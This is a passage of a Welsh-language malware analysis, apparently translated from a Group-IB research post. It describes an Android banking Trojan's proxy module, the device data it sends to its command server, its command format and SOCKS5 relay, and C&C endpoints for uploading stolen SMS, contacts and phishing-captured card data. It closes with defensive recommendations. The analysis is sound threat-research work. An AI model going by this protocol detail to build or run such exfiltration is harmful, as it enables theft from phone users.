Gelwir y dosbarth prosesu gorchymyn Cysylltiad Gorchymyn. Yn syth ar ôl cychwyn, yn cyflawni'r camau gweithredu canlynol:
4. Yn cysylltu â ProxyConfigClass.host: ProxyConfigClass.commandPort ac yn anfon data am y ddyfais heintiedig yno mewn fformat JSON:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
Ble:
- id – dynodwr, yn ceisio cael gwerth gyda'r maes “id” o'r ffeil Dewis a Rennir o'r enw “x”. Os na ellid cael y gwerth hwn, mae'n cynhyrchu un newydd. Felly, mae gan y modiwl Proxy ei ddynodwr ei hun, a gynhyrchir yn yr un modd â'r ID Bot.
- imei - IMEI y ddyfais. Os digwyddodd gwall yn ystod y broses o gael y gwerth, bydd neges destun gwall yn cael ei hysgrifennu yn lle'r maes hwn.
- imsi — Tanysgrifiwr Symudol Rhyngwladol Hunaniaeth y ddyfais. Os digwyddodd gwall yn ystod y broses o gael y gwerth, bydd neges destun gwall yn cael ei hysgrifennu yn lle'r maes hwn.
- model — Yr enw defnyddiwr terfynol-gweladwy ar gyfer y cynnyrch terfynol.
- gwneuthurwr - Gwneuthurwr y cynnyrch / caledwedd (Build.MANUFACTURER).
- androidVersion - llinyn yn y fformat "<%release_version%> (<%os_version%>), <%sdk_version%>"
- gwlad - lleoliad presennol y ddyfais.
- llinyn gwag yw partnerId.
- PackName - enw pecyn.
- Math o rwydwaith - math o gysylltiad rhwydwaith cyfredol (enghraifft: “WIFI”, “SYMUNOL”). Mewn achos o wall, yn dychwelyd null.
- hasGsmSupport – gwir – os yw'r ffôn yn cefnogi GSM, fel arall yn ffug.
- simReady – cyflwr cerdyn SIM.
- simCountry - cod gwlad ISO (yn seiliedig ar ddarparwr cerdyn SIM).
- networkOperator — enw gweithredwr. Os digwyddodd gwall yn ystod y broses o gael y gwerth, bydd neges destun gwall yn cael ei hysgrifennu yn lle'r maes hwn.
- simOperator - Enw'r Darparwr Gwasanaeth (SPN). Os digwyddodd gwall yn ystod y broses o gael y gwerth, bydd neges destun gwall yn cael ei hysgrifennu yn lle'r maes hwn.
- fersiwn - mae'r maes hwn yn cael ei storio yn y dosbarth ffurfweddu; ar gyfer y fersiynau a brofwyd o'r bot roedd yn hafal i "1.6".
5. Yn newid i'r modd aros am orchmynion o'r gweinydd. Daw gorchmynion gan y gweinydd yn y fformat:
- 0 gwrthbwyso - gorchymyn
- 1 gwrthbwyso – sesiwnId
- 2 gwrthbwyso - hyd
- 4 gwrthbwyso - data
Pan fydd gorchymyn yn cyrraedd, mae'r cais yn cofnodi:
mainLog ("Pennawd { sessionId <%id%>], math[<%command%>], hyd[<%length%>] }")
Mae'r gorchmynion canlynol o'r gweinydd yn bosibl:
Enw | Gorchymyn | Dyddiad | Disgrifiad |
---|---|---|---|
cysylltiadId | 0 | ID Cysylltiad | Creu cysylltiad newydd |
SLEEP | 3 | amser | Oedwch y modiwl dirprwy |
PING_PONG | 4 | - | Anfon neges PONG |
Mae neges PONG yn cynnwys 4 beit ac mae'n edrych fel hyn: 0x04000000.
Pan dderbynnir y gorchymyn connectionId (i greu cysylltiad newydd) Cysylltiad Gorchymyn yn creu enghraifft o ddosbarth Cysylltiad Proxy.
- Mae dau ddosbarth yn cymryd rhan mewn dirprwy: Cysylltiad Proxy и diwedd. Wrth greu dosbarth Cysylltiad Proxy cysylltu â'r cyfeiriad ProxyConfigClass.host: ProxyConfigClass.proxyPort a phasio gwrthrych JSON:
{
"id":<%connectionId%>
}
Mewn ymateb, mae'r gweinydd yn anfon neges SOCKS5 sy'n cynnwys cyfeiriad y gweinydd pell y mae'n rhaid sefydlu'r cysylltiad ag ef. Mae rhyngweithio gyda'r gweinydd hwn yn digwydd trwy'r dosbarth diwedd. Gellir cynrychioli'r gosodiad cysylltiad yn sgematig fel a ganlyn:
Rhyngweithiadau rhwydwaith
Er mwyn atal dadansoddiad traffig gan sniffers rhwydwaith, gellir diogelu'r rhyngweithio rhwng y gweinydd CNC a'r cymhwysiad gan ddefnyddio'r protocol SSL. Mae'r holl ddata a drosglwyddir o'r gweinydd ac i'r gweinydd yn cael ei gyflwyno mewn fformat JSON. Yn ystod y llawdriniaeth, mae'r cais yn cyflawni'r ceisiadau canlynol:
- http://<%CnC%>/api/v1/set_state.php - canlyniad gweithredu'r gorchymyn.
- http://<%CnC%>/api/v1/get.php - derbyn gorchymyn.
- http://<%CnC%>/api/v1/load_sms.php - lawrlwytho negeseuon SMS o ddyfais heintiedig.
- http://<%CnC%>/api/v1/load_ab.php — uwchlwytho rhestr o gysylltiadau o ddyfais heintiedig.
- http://<%CnC%>/api/v1/aevents.php - gwneir y cais wrth ddiweddaru paramedrau sydd wedi'u lleoli yn y ffeil dewis.
- http://<%CnC%>/api/v1/set_card.php — uwchlwytho data a gafwyd gan ddefnyddio ffenestr gwe-rwydo sy'n ffugio fel y Google Play Market.
- http://<%CnC%>/api/v1/logs.php – lanlwytho data log.
- http://<%CnC%>/api/v1/records.php – uwchlwytho data a gafwyd trwy ffenestri gwe-rwydo.
- http://<%CnC%>/api/v1/set_error.php – hysbysiad o gamgymeriad sydd wedi digwydd.
Argymhellion
Er mwyn amddiffyn eu cwsmeriaid rhag bygythiad Trojans symudol, rhaid i gwmnïau ddefnyddio atebion cynhwysfawr sy'n eu galluogi i fonitro ac atal gweithgaredd maleisus heb osod meddalwedd ychwanegol ar ddyfeisiau defnyddwyr.
I wneud hyn, mae angen cryfhau dulliau llofnod ar gyfer canfod Trojans symudol gyda thechnolegau ar gyfer dadansoddi ymddygiad y cleient a'r rhaglen ei hun. Dylai'r amddiffyniad hefyd gynnwys swyddogaeth adnabod dyfais gan ddefnyddio technoleg olion bysedd digidol, a fydd yn ei gwneud hi'n bosibl deall pan fydd cyfrif yn cael ei ddefnyddio o ddyfais annodweddiadol ac sydd eisoes wedi syrthio i ddwylo twyllwr.
Pwynt hanfodol bwysig yw argaeledd dadansoddiad traws-sianel, sy'n caniatáu i gwmnïau reoli risgiau sy'n codi nid yn unig ar y Rhyngrwyd, ond hefyd ar y sianel symudol, er enghraifft, mewn ceisiadau am fancio symudol, ar gyfer trafodion gyda cryptocurrencies ac unrhyw rai eraill lle gellir cyflawni trafodion ariannol.
Rheolau diogelwch i ddefnyddwyr:
- peidiwch â gosod cymwysiadau ar gyfer dyfais symudol gydag Android OS o unrhyw ffynonellau heblaw Google Play, rhowch sylw arbennig i'r hawliau y mae'r cais yn gofyn amdanynt;
- gosod diweddariadau Android OS yn rheolaidd;
- rhoi sylw i estyniadau ffeiliau wedi'u llwytho i lawr;
- peidiwch ag ymweld ag adnoddau amheus;
- Peidiwch â chlicio ar ddolenni a dderbyniwyd mewn negeseuon SMS.
Yn serennu Semyon Rogacheva, arbenigwr iau mewn ymchwil malware yn Labordy Fforensig Cyfrifiadurol Group-IB.
Ffynhonnell: hab.com